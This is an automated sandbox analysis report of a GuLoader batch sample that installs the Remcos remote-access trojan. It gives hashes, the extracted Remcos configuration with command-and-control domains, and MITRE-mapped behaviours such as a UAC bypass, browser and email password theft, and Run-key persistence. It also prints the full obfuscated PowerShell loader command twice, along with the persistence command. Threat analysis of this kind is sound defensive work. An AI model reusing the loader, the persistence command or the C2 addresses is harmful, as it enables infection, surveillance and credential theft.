guloader | f2ffb11a68f8c689d0df4b2f035be0d9d3aff4b3ad4c3a158741050c6948fcb7

Analysis

max time kernel
149s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
03/11/2025, 04:31

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General

Target
rCM6074148603R2795244242442424253535.bat
Size 6KB
Sample251103-e5nhlsvqaw
SHA256 f2ffb11a68f8c689d0df4b2f035be0d9d3aff4b3ad4c3a158741050c6948fcb7
MD5 54b076a681eb063ad7eca17f66f633fa
SHA1 6cedc59f2b8b4276ecf06f0147612e0caec416dc
SHA512 00b8bc05bc2f58713a0d82acee689cc06bc0ec601af75dd18058b558e60cdb96fad81ed4c4e2a0a73f7f7da60c12e5b64faa38115a9878e67e1f728f319b336d
SSDEEP 96:YVZbXzLYwVb6dc1NWJ4/kI7qmTmNzHKS35lhyBEc8WCLBDkYRhB55wiYiFzxt5V:YVZ/LydGG4/35To3LhyB2WCxLhTKez/D
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

bamboo collection defense_evasion discovery downloader execution guloader remcos persistence rat trojan

Malware Config

Extracted

Family

remcos

Version

7.0.5 Pro

Botnet

Bamboo

adigo.ydns.eu:60736
wormoni.lms-austria.com:52082

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-2Y1U3H
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Guloader family
guloader
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	msiexec.exe

Detected Nirsoft tools 4 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/6072-73-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2428-63-0x00000000001E0000-0x0000000000262000-memory.dmp	Nirsoft
behavioral2/memory/5096-75-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/6076-77-0x0000000000400000-0x0000000000482000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/5096-75-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2428-63-0x00000000001E0000-0x0000000000262000-memory.dmp	WebBrowserPassView
behavioral2/memory/6076-77-0x0000000000400000-0x0000000000482000-memory.dmp	WebBrowserPassView

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5716	powershell.exe
4	5716	powershell.exe
5	4944	msiexec.exe
6	4944	msiexec.exe
7	4944	msiexec.exe
8	4944	msiexec.exe
9	4944	msiexec.exe
10	4944	msiexec.exe
11	4944	msiexec.exe
12	4944	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5716	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1644934582-3155071241-5924616-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	rmclient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1644934582-3155071241-5924616-1000\Software\Microsoft\Windows\CurrentVersion\Run\rendestenen = "%Tallyhoing% -windowstyle 2 $Tissued='g'+'p';$Fortepianoernes=(.($Tissued) 'HKCU:\\Software\\Evitable\\').'Dybvandshummernes';%Tallyhoing% ($Fortepianoernes)"	reg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msiexec.exe	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4944	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3572	powershell.exe
4944	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4944 set thread context of 6076	4944	msiexec.exe	89
PID 4944 set thread context of 5096	4944	msiexec.exe	94
PID 4944 set thread context of 6072	4944	msiexec.exe	95

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1644934582-3155071241-5924616-1000_Classes\Local Settings	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5716	powershell.exe
5716	powershell.exe
3572	powershell.exe
3572	powershell.exe
3572	powershell.exe
6076	rmclient.exe
6076	rmclient.exe
6076	rmclient.exe
6076	rmclient.exe
6072	rmclient.exe
6072	rmclient.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3572	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	6072	rmclient.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4944	msiexec.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 716 wrote to memory of 5716	716	cmd.exe	79
PID 716 wrote to memory of 5716	716	cmd.exe	79
PID 3572 wrote to memory of 4944	3572	powershell.exe	83
PID 3572 wrote to memory of 4944	3572	powershell.exe	83
PID 3572 wrote to memory of 4944	3572	powershell.exe	83
PID 3572 wrote to memory of 4944	3572	powershell.exe	83
PID 4944 wrote to memory of 4816	4944	msiexec.exe	84
PID 4944 wrote to memory of 4816	4944	msiexec.exe	84
PID 4944 wrote to memory of 4816	4944	msiexec.exe	84
PID 4816 wrote to memory of 4388	4816	cmd.exe	86
PID 4816 wrote to memory of 4388	4816	cmd.exe	86
PID 4816 wrote to memory of 4388	4816	cmd.exe	86
PID 4944 wrote to memory of 2384	4944	msiexec.exe	87
PID 4944 wrote to memory of 2384	4944	msiexec.exe	87
PID 4944 wrote to memory of 2384	4944	msiexec.exe	87
PID 4944 wrote to memory of 2428	4944	msiexec.exe	88
PID 4944 wrote to memory of 2428	4944	msiexec.exe	88
PID 4944 wrote to memory of 2428	4944	msiexec.exe	88
PID 4944 wrote to memory of 6076	4944	msiexec.exe	89
PID 4944 wrote to memory of 6076	4944	msiexec.exe	89
PID 4944 wrote to memory of 6076	4944	msiexec.exe	89
PID 4944 wrote to memory of 6076	4944	msiexec.exe	89
PID 4944 wrote to memory of 1148	4944	msiexec.exe	90
PID 4944 wrote to memory of 1148	4944	msiexec.exe	90
PID 4944 wrote to memory of 1148	4944	msiexec.exe	90
PID 4944 wrote to memory of 4992	4944	msiexec.exe	91
PID 4944 wrote to memory of 4992	4944	msiexec.exe	91
PID 4944 wrote to memory of 4992	4944	msiexec.exe	91
PID 4944 wrote to memory of 5080	4944	msiexec.exe	92
PID 4944 wrote to memory of 5080	4944	msiexec.exe	92
PID 4944 wrote to memory of 5080	4944	msiexec.exe	92
PID 4944 wrote to memory of 5088	4944	msiexec.exe	93
PID 4944 wrote to memory of 5088	4944	msiexec.exe	93
PID 4944 wrote to memory of 5088	4944	msiexec.exe	93
PID 4944 wrote to memory of 5096	4944	msiexec.exe	94
PID 4944 wrote to memory of 5096	4944	msiexec.exe	94
PID 4944 wrote to memory of 5096	4944	msiexec.exe	94
PID 4944 wrote to memory of 5096	4944	msiexec.exe	94
PID 4944 wrote to memory of 6072	4944	msiexec.exe	95
PID 4944 wrote to memory of 6072	4944	msiexec.exe	95
PID 4944 wrote to memory of 6072	4944	msiexec.exe	95
PID 4944 wrote to memory of 6072	4944	msiexec.exe	95
PID 4944 wrote to memory of 4032	4944	msiexec.exe	96
PID 4944 wrote to memory of 4032	4944	msiexec.exe	96
PID 4944 wrote to memory of 4032	4944	msiexec.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rCM6074148603R2795244242442424253535.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "del 'idrts';function bladeventyrenes ($hundehvalps='grnsepsykotisk',$kapelmusikers='recognizably'){ ;$stampublikummers=3;do { $paraselene+=$hundehvalps[$stampublikummers];$stampublikummers+=4;Out-Host}until (!$hundehvalps[$stampublikummers])$paraselene}function Skovriderne ($monas){.($indplaceret) ($monas)}$decream=[Nullable[int]]0;$fastfoodlsning=bladeventyrenes ' ;,N!!!EW,WTTTT. hhWYYYE';$fastfoodlsning+=bladeventyrenes ' FFbBBBCGGGl<<.issseDDDn DDT';$zoneindeling=bladeventyrenes '- -MOOOo <,zSS.i H l JJl,ffar r/';$stampublikummersndtagningerne22=bladeventyrenes 'TT To.oluuus ??1JJJ2';$numerably=' ^^[tttNDDDexxxT OO. bbs EEe %%r yyv|||i XXcIIIE UUp|||O-- iUUUnYYYt IImjjja#,#n>>>aGGGGXX E::.R rr]QQQ:PP : QQsvvvEB.BC%%%U,vvrs sI.WWTAAAy zzP wwR aao NNTEEEo f.Ctttossslpp =,jj$ AAS:::t###aHHHmXX Pu,uUGGGBlllLQQQI,&&knnnUBBBMOOOM+++eqqqRVVVSYY.Njjjdhhht~~~a.LLGTTTNAAAi ggnHHHG+++EQQ r s Npppezzz2kkk2';$zoneindeling+=bladeventyrenes ' BB5 XX..++0hhh ,/(NNNW &&iUUUnq qdPPPo >>wrr s == aaaN kkTwww ---1///0 ##.JJJ0---; Y PPPW= =i+++nXXX6 ZZ4y y; rr kk.xnnn6CC 4OOO;.SS BBrhhhvrrr:; ;1o o4???4++ .CCC0== )CCC xxGmmme---c***kl lo WW/|||2P P0KK.1AAA0WWW0== 1QQQ0%%%1III TTTFLL igggrKK,ekkkfbb oH HxBBB/XXX1qqq4 ww4 A.===0';$omgrdet109=bladeventyrenes '%%.ul.lsfffEXXXRCCC-SSSA KG aaet tN===T';$agestolens=bladeventyrenes ' zzhNNNt;;,t<<<p> >sLLL:yyy/ CC/uuubq qa rrffffy|||b !!e|||iyyyc nnosssh PPzLLLfmmm2FFF5DDDmdddy___h>>.l jjoSSSqb,ba ||g ssg XXmmmmx gg5 TTcQQQ3x,xrjj iWWWk! !u>>>ukkkyIII7 qqd GGbB Bi---5BBBopppskkksMMMsooou&&&cii poooy,nn2^^^4HHHbBBBtn nd===jx.xcJJ aKKKgYYYy Plxxxu FF. OOiaaapNNNfyyys,zz.! !wlll3TT.s%%%.dddlaaai / nj jk ff/LLLMG Gi &&l///jqqqb???eJJJsGGGkI.Iy.ppt===tnnnes slllls,hhezzzsSSSiCC n?,?tss.eo orZZZe===sjjjs+++eSSSn--,sqqq.HHHjWW.pcccbDDD>g.gh %%t ??tRRRp,ffs___: &/CCC/ MMf DDi---lIIIeD,Ds ee.KKKc+++aqqqt .qbzzzo^^^x+++.PP mzzzoKKKeYY,/nn z>>>hR,RfBB 7OOO8T Trn.n.nnnjaaap ZZb';$fjllebros56=bladeventyrenes 'K.K>';$indplaceret=bladeventyrenes 'H HI<< e >.x';$biotekniks7='deprecates';$cojudge='\Tegnstrengens.Gal';Skovriderne (bladeventyrenes 'z zOrr UhhhtIII-K,KH BBO.EEsTTTteee;TTT$XX gEEELcccoFFFbUUUaWWWlB B: ooCeeeO + acccLqqqiUU.ZFFFElllrrrrSSSS= *,$OOOe mmNOOOvJJJ:MMMA AApS.Spz,zD|||AwwwTMMMaKK,+** $ YCf,forrrJ ttu;;;DRRRG Y,E');Skovriderne (bladeventyrenes 'tttoOOOU>.>t===- ##hRR Ozz sUU T PP;TTT$W.WgFFFLY YO;;;BW WA---luuu:CCCs___a ImyyyM###ESS.N DDfs,sL???ElllTccct uue= ==UUU$ ++ANN gKKKe.++sWWWTdddOll LAAAEQQQnLLLsOOO.r.rs llPcccLpppi .CT,ll( ::$tttF Aj kkLll lKK,euuuBBB r~~~OyyysFF 5 x 6;;;)');Skovriderne (bladeventyrenes $numerably);$granatble='forfalskningens';$agestolens=$sammenflette[$decream];$udstyres='knapningen';$headload=(bladeventyrenes 'ZZZO ==u,QQT rr-rrrhjj offfSbbbt!! ;---$|||gTTTljjjO KKB+++AWWWl.YY::::l:::IIIIT+++t??,EcccrMM E uur---s pp9oo,9<<.= qqn% %E ::wQQQ-bbbo?.?b +,jQQQe^^^c>>>tyyy HHHSDDDy- -sdd.toooe GGm U .sss$yy,ftttakkksE,Et xxf ??OcccOOOOdRRRlooosaaaN^ ^iUUUng gG');Skovriderne ($headload);Skovriderne (bladeventyrenes '___$gg l wwiwwwt __tXXXe___r AAe:::r //sBBB9sss9.TT.W,WH yejjja.>>dqq,e===r Ks&&&[ R.$kkkoooomWWWg~,~rDDDddd eAAAt<,<1hh.0l l9zzz]RRR=*.*$???zoooobbbnE Eeo.oixxxnsssdfffe &&l>>>iPPPnnnng');$cajeputol=bladeventyrenes 'PPPDfffO dwiiin';$cajeputol+=bladeventyrenes ' ^^L >>oNNNa///dooof SSiAAAljjjE';$klynkets=bladeventyrenes 'CCC$AAAljjjiBBBtu ut<<,e===riiie/ /ryyyseee9vvv9^^ .+++$&&&cNNNa,JJjaaaennnp LLuzzzt .PoPP.l<<<.aaaIK Kn.KKvFFFodddk !!eLLL(PPP$UUUa,aagaaaev,vs ctRRRo> >l uuevvvnzzzsccc, uu$EEEgY,YimmmlRRRl~~ i!!!aA,An+++)';$gillian=$coalizers;del 'evenly';Skovriderne (bladeventyrenes 'ZZZo YYUmmmT O -aaaH.==o ##s ETI I; NN$wwwGIIIL ssoNNNB ZZA ggLZZZ:hh TF.Fn ,idpppESSSb zza ?AA AnS SdhhhEpppNGGGE## sA A1+++4m,m2+++=uuu(QQQt###EvvvSeeeTSS -xxxp***abbbT ttH!!! ddd$ >>g.BBI S lPPPlJJ,I DDAt tNmmm)');del 'ukrudtetsbekmpelsen';while ((!$tndebaandenes142)) {Skovriderne (bladeventyrenes 'jjjO m uA At S -k kHzzzoQQQs f.tzzz;ggg$ <<gOOOlmmmo bbbyyya___l***: GGLtt oHHHnVVVg ssimmml_ _o;;;q uuuhhhe YYnlllt ===HHH$nn p QQo~~~uooon%%%d& &a %gccce kk9PP 5') ;Skovriderne $klynkets;Skovriderne (bladeventyrenes ' ^^[ ||T zzH,**RTTTE ttAjjjdB Bi+++nTTTG *.jj Ttt.h,&&r RREBBBAKKKDz z]jj :x x: vvsaaaL///e aEPPPPKKK(/,/3 qq7~~~5 T 0>>>)');Skovriderne (bladeventyrenes '|||O qUI.It___- nnh c O ppSP.Pt.ll;TTT$???G///Lll.O.RRBaa A+.+lA A:G Gt rrN&&&d|||E RRB___A >a???nZZZDmmmEP,Pnllle P SS,S1lll4bbb2 ll=KKK( eTsssEJJJS___t m,-lllpi iavvvTOOOhjjj ,OO$qqqg lIkk LC CLllliggga;;;n%%%)') ;Skovriderne (bladeventyrenes 'wwwOgggu,GGTKKK-j jHff oiiiS ttTTT,; ##$cccG***L >>o|||bUU a EElxxx:z.zc===Hdddammmoiiis.XX=L,L$fffg ==l++.OL LB Oa ddljjj:MMMfi.iIPPPc~~~t JJi UUO ffntttI===SMMMEe.esZZZ+LLL+ PP%~~~$,vvSZZZAyyymOOOMyyyeuuuNIIIf JJlRRRE B,TXXXtFFFE XX.___CHHHO .lU ooNXX t') ;$agestolens=$sammenflette[$chaos]}$sayability=324843;$ubehvlede=30471;Skovriderne (bladeventyrenes 'DDDOpp uyy.tYYY-UUUh;;;o <<s %%T h;mmm$p pgB BL xxof,fBuuuAX Xlbbb:,bbNc.coJJJNvvvr WeuuuM dUFFFN###e&&&RgggaDDDT> >I.PPVIIIeNNN G= __ ~ ~G^^^EeeeTooo-u.uc RRO ttN ,KtKKKexxxNbbbtddd ZZZ$ hhGLLLizzzl : L =ILLLA ppn');Skovriderne (bladeventyrenes 'lllOw wu///tZZZ-VVVHWWWo OOs~ ~t ||;fff$ yygzzzl --o Jbnnna?,?l___: ,>N J a !!uRRRg ||h RtTTT __=mmm ww[dddSn ny !.s C t^^.e o m ^^. mmCCC o |.n ffv ;e t rss t DD]Y Y:U U:KKKF.aar Z oiiimaaaBWWWal.lsuuue HH6yyy4fffSM MtGGGr bbiz,zn,XXg ii( qq$xxxneeeo###nPPPr JJe***mt tum.mnEE eooor ==avv tjjjiwwwvrrrel l)');Skovriderne (bladeventyrenes ' >>O|||u LLtVVV-:::H,jjOxxxs jjtiii;ccc$ZZZgrrrLKKKOeeebPPPAqqqlmmm:OOOF# #o OOR qqFZZZA ,Zl WWs///KnnnNgggikkkN Q,Gyyye.>>N---Se e %%=### yy [mm.Tggge kkX___TWWW.jjjERRRNT TCPPPOnnnD.kkIDDDnkkkg aa] m: ss: ??A aasaaacDD,I###I TT.cccgcccennntgggS xxTUUUrkkkI:::NmmmGiii(++ $JJJN eea a.uBB GAAAHjjjT:.:)');Skovriderne (bladeventyrenes ' DDOK Kum mtRRR- llh --O --S---Tccc;%,%$OO GoooliiiO~~ B ++auuuL==.: ==h --aaa MsssF???a FFrM,Me~ ~=XXX$ QQF .yo EEr.ddf ttAM,MluuushhhKTTTNfffi KKN%%%gQQQEMMMncc S y.. YYSCCCUL.LBCC.s WWTk,kr .Ii ##N JG,ii(|||$FFFSc cA aay!!!a;;;Bii.I ~~L ZZI WWTTTTy >>,+ +$ ^^uTTTB llE >>H NNV CCLxxxeHHHdFFFe ,X)');Skovriderne $hamfare;"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5716

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "del 'idrts';function bladeventyrenes ($hundehvalps='grnsepsykotisk',$kapelmusikers='recognizably'){ ;$stampublikummers=3;do { $paraselene+=$hundehvalps[$stampublikummers];$stampublikummers+=4;Out-Host}until (!$hundehvalps[$stampublikummers])$paraselene}function Skovriderne ($monas){.($indplaceret) ($monas)}$decream=[Nullable[int]]0;$fastfoodlsning=bladeventyrenes ' ;,N!!!EW,WTTTT. hhWYYYE';$fastfoodlsning+=bladeventyrenes ' FFbBBBCGGGl<<.issseDDDn DDT';$zoneindeling=bladeventyrenes '- -MOOOo <,zSS.i H l JJl,ffar r/';$stampublikummersndtagningerne22=bladeventyrenes 'TT To.oluuus ??1JJJ2';$numerably=' ^^[tttNDDDexxxT OO. bbs EEe %%r yyv|||i XXcIIIE UUp|||O-- iUUUnYYYt IImjjja#,#n>>>aGGGGXX E::.R rr]QQQ:PP : QQsvvvEB.BC%%%U,vvrs sI.WWTAAAy zzP wwR aao NNTEEEo f.Ctttossslpp =,jj$ AAS:::t###aHHHmXX Pu,uUGGGBlllLQQQI,&&knnnUBBBMOOOM+++eqqqRVVVSYY.Njjjdhhht~~~a.LLGTTTNAAAi ggnHHHG+++EQQ r s Npppezzz2kkk2';$zoneindeling+=bladeventyrenes ' BB5 XX..++0hhh ,/(NNNW &&iUUUnq qdPPPo >>wrr s == aaaN kkTwww ---1///0 ##.JJJ0---; Y PPPW= =i+++nXXX6 ZZ4y y; rr kk.xnnn6CC 4OOO;.SS BBrhhhvrrr:; ;1o o4???4++ .CCC0== )CCC xxGmmme---c***kl lo WW/|||2P P0KK.1AAA0WWW0== 1QQQ0%%%1III TTTFLL igggrKK,ekkkfbb oH HxBBB/XXX1qqq4 ww4 A.===0';$omgrdet109=bladeventyrenes '%%.ul.lsfffEXXXRCCC-SSSA KG aaet tN===T';$agestolens=bladeventyrenes ' zzhNNNt;;,t<<<p> >sLLL:yyy/ CC/uuubq qa rrffffy|||b !!e|||iyyyc nnosssh PPzLLLfmmm2FFF5DDDmdddy___h>>.l jjoSSSqb,ba ||g ssg XXmmmmx gg5 TTcQQQ3x,xrjj iWWWk! !u>>>ukkkyIII7 qqd GGbB Bi---5BBBopppskkksMMMsooou&&&cii poooy,nn2^^^4HHHbBBBtn nd===jx.xcJJ aKKKgYYYy Plxxxu FF. OOiaaapNNNfyyys,zz.! !wlll3TT.s%%%.dddlaaai / nj jk ff/LLLMG Gi &&l///jqqqb???eJJJsGGGkI.Iy.ppt===tnnnes slllls,hhezzzsSSSiCC n?,?tss.eo orZZZe===sjjjs+++eSSSn--,sqqq.HHHjWW.pcccbDDD>g.gh %%t ??tRRRp,ffs___: &/CCC/ MMf DDi---lIIIeD,Ds ee.KKKc+++aqqqt .qbzzzo^^^x+++.PP mzzzoKKKeYY,/nn z>>>hR,RfBB 7OOO8T Trn.n.nnnjaaap ZZb';$fjllebros56=bladeventyrenes 'K.K>';$indplaceret=bladeventyrenes 'H HI<< e >.x';$biotekniks7='deprecates';$cojudge='\Tegnstrengens.Gal';Skovriderne (bladeventyrenes 'z zOrr UhhhtIII-K,KH BBO.EEsTTTteee;TTT$XX gEEELcccoFFFbUUUaWWWlB B: ooCeeeO + acccLqqqiUU.ZFFFElllrrrrSSSS= *,$OOOe mmNOOOvJJJ:MMMA AApS.Spz,zD|||AwwwTMMMaKK,+** $ YCf,forrrJ ttu;;;DRRRG Y,E');Skovriderne (bladeventyrenes 'tttoOOOU>.>t===- ##hRR Ozz sUU T PP;TTT$W.WgFFFLY YO;;;BW WA---luuu:CCCs___a ImyyyM###ESS.N DDfs,sL???ElllTccct uue= ==UUU$ ++ANN gKKKe.++sWWWTdddOll LAAAEQQQnLLLsOOO.r.rs llPcccLpppi .CT,ll( ::$tttF Aj kkLll lKK,euuuBBB r~~~OyyysFF 5 x 6;;;)');Skovriderne (bladeventyrenes $numerably);$granatble='forfalskningens';$agestolens=$sammenflette[$decream];$udstyres='knapningen';$headload=(bladeventyrenes 'ZZZO ==u,QQT rr-rrrhjj offfSbbbt!! ;---$|||gTTTljjjO KKB+++AWWWl.YY::::l:::IIIIT+++t??,EcccrMM E uur---s pp9oo,9<<.= qqn% %E ::wQQQ-bbbo?.?b +,jQQQe^^^c>>>tyyy HHHSDDDy- -sdd.toooe GGm U .sss$yy,ftttakkksE,Et xxf ??OcccOOOOdRRRlooosaaaN^ ^iUUUng gG');Skovriderne ($headload);Skovriderne (bladeventyrenes '___$gg l wwiwwwt __tXXXe___r AAe:::r //sBBB9sss9.TT.W,WH yejjja.>>dqq,e===r Ks&&&[ R.$kkkoooomWWWg~,~rDDDddd eAAAt<,<1hh.0l l9zzz]RRR=*.*$???zoooobbbnE Eeo.oixxxnsssdfffe &&l>>>iPPPnnnng');$cajeputol=bladeventyrenes 'PPPDfffO dwiiin';$cajeputol+=bladeventyrenes ' ^^L >>oNNNa///dooof SSiAAAljjjE';$klynkets=bladeventyrenes 'CCC$AAAljjjiBBBtu ut<<,e===riiie/ /ryyyseee9vvv9^^ .+++$&&&cNNNa,JJjaaaennnp LLuzzzt .PoPP.l<<<.aaaIK Kn.KKvFFFodddk !!eLLL(PPP$UUUa,aagaaaev,vs ctRRRo> >l uuevvvnzzzsccc, uu$EEEgY,YimmmlRRRl~~ i!!!aA,An+++)';$gillian=$coalizers;del 'evenly';Skovriderne (bladeventyrenes 'ZZZo YYUmmmT O -aaaH.==o ##s ETI I; NN$wwwGIIIL ssoNNNB ZZA ggLZZZ:hh TF.Fn ,idpppESSSb zza ?AA AnS SdhhhEpppNGGGE## sA A1+++4m,m2+++=uuu(QQQt###EvvvSeeeTSS -xxxp***abbbT ttH!!! ddd$ >>g.BBI S lPPPlJJ,I DDAt tNmmm)');del 'ukrudtetsbekmpelsen';while ((!$tndebaandenes142)) {Skovriderne (bladeventyrenes 'jjjO m uA At S -k kHzzzoQQQs f.tzzz;ggg$ <<gOOOlmmmo bbbyyya___l***: GGLtt oHHHnVVVg ssimmml_ _o;;;q uuuhhhe YYnlllt ===HHH$nn p QQo~~~uooon%%%d& &a %gccce kk9PP 5') ;Skovriderne $klynkets;Skovriderne (bladeventyrenes ' ^^[ ||T zzH,**RTTTE ttAjjjdB Bi+++nTTTG *.jj Ttt.h,&&r RREBBBAKKKDz z]jj :x x: vvsaaaL///e aEPPPPKKK(/,/3 qq7~~~5 T 0>>>)');Skovriderne (bladeventyrenes '|||O qUI.It___- nnh c O ppSP.Pt.ll;TTT$???G///Lll.O.RRBaa A+.+lA A:G Gt rrN&&&d|||E RRB___A >a???nZZZDmmmEP,Pnllle P SS,S1lll4bbb2 ll=KKK( eTsssEJJJS___t m,-lllpi iavvvTOOOhjjj ,OO$qqqg lIkk LC CLllliggga;;;n%%%)') ;Skovriderne (bladeventyrenes 'wwwOgggu,GGTKKK-j jHff oiiiS ttTTT,; ##$cccG***L >>o|||bUU a EElxxx:z.zc===Hdddammmoiiis.XX=L,L$fffg ==l++.OL LB Oa ddljjj:MMMfi.iIPPPc~~~t JJi UUO ffntttI===SMMMEe.esZZZ+LLL+ PP%~~~$,vvSZZZAyyymOOOMyyyeuuuNIIIf JJlRRRE B,TXXXtFFFE XX.___CHHHO .lU ooNXX t') ;$agestolens=$sammenflette[$chaos]}$sayability=324843;$ubehvlede=30471;Skovriderne (bladeventyrenes 'DDDOpp uyy.tYYY-UUUh;;;o <<s %%T h;mmm$p pgB BL xxof,fBuuuAX Xlbbb:,bbNc.coJJJNvvvr WeuuuM dUFFFN###e&&&RgggaDDDT> >I.PPVIIIeNNN G= __ ~ ~G^^^EeeeTooo-u.uc RRO ttN ,KtKKKexxxNbbbtddd ZZZ$ hhGLLLizzzl : L =ILLLA ppn');Skovriderne (bladeventyrenes 'lllOw wu///tZZZ-VVVHWWWo OOs~ ~t ||;fff$ yygzzzl --o Jbnnna?,?l___: ,>N J a !!uRRRg ||h RtTTT __=mmm ww[dddSn ny !.s C t^^.e o m ^^. mmCCC o |.n ffv ;e t rss t DD]Y Y:U U:KKKF.aar Z oiiimaaaBWWWal.lsuuue HH6yyy4fffSM MtGGGr bbiz,zn,XXg ii( qq$xxxneeeo###nPPPr JJe***mt tum.mnEE eooor ==avv tjjjiwwwvrrrel l)');Skovriderne (bladeventyrenes ' >>O|||u LLtVVV-:::H,jjOxxxs jjtiii;ccc$ZZZgrrrLKKKOeeebPPPAqqqlmmm:OOOF# #o OOR qqFZZZA ,Zl WWs///KnnnNgggikkkN Q,Gyyye.>>N---Se e %%=### yy [mm.Tggge kkX___TWWW.jjjERRRNT TCPPPOnnnD.kkIDDDnkkkg aa] m: ss: ??A aasaaacDD,I###I TT.cccgcccennntgggS xxTUUUrkkkI:::NmmmGiii(++ $JJJN eea a.uBB GAAAHjjjT:.:)');Skovriderne (bladeventyrenes ' DDOK Kum mtRRR- llh --O --S---Tccc;%,%$OO GoooliiiO~~ B ++auuuL==.: ==h --aaa MsssF???a FFrM,Me~ ~=XXX$ QQF .yo EEr.ddf ttAM,MluuushhhKTTTNfffi KKN%%%gQQQEMMMncc S y.. YYSCCCUL.LBCC.s WWTk,kr .Ii ##N JG,ii(|||$FFFSc cA aay!!!a;;;Bii.I ~~L ZZI WWTTTTy >>,+ +$ ^^uTTTB llE >>H NNV CCLxxxeHHHdFFFe ,X)');Skovriderne $hamfare;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - UAC bypass
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4944
- - C:\Windows\SysWOW64\cmd.exe
